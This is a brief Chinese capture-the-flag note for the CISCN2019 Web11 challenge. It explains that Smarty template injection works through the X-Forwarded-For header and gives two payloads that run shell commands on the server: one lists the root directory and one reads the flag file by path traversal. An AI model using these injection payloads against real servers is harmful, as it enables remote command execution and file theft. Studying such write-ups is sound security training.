[CISCN2019 华东南赛区]Web11 ssti smarty模板注入 xff

smarty模板注入是在请求报文里X-Forwarded-For处进行操作的

X-Forwarded-For: {{system("ls /")}}

X-Forwarded-For: {{system("cat ../../../../../../../flag")}}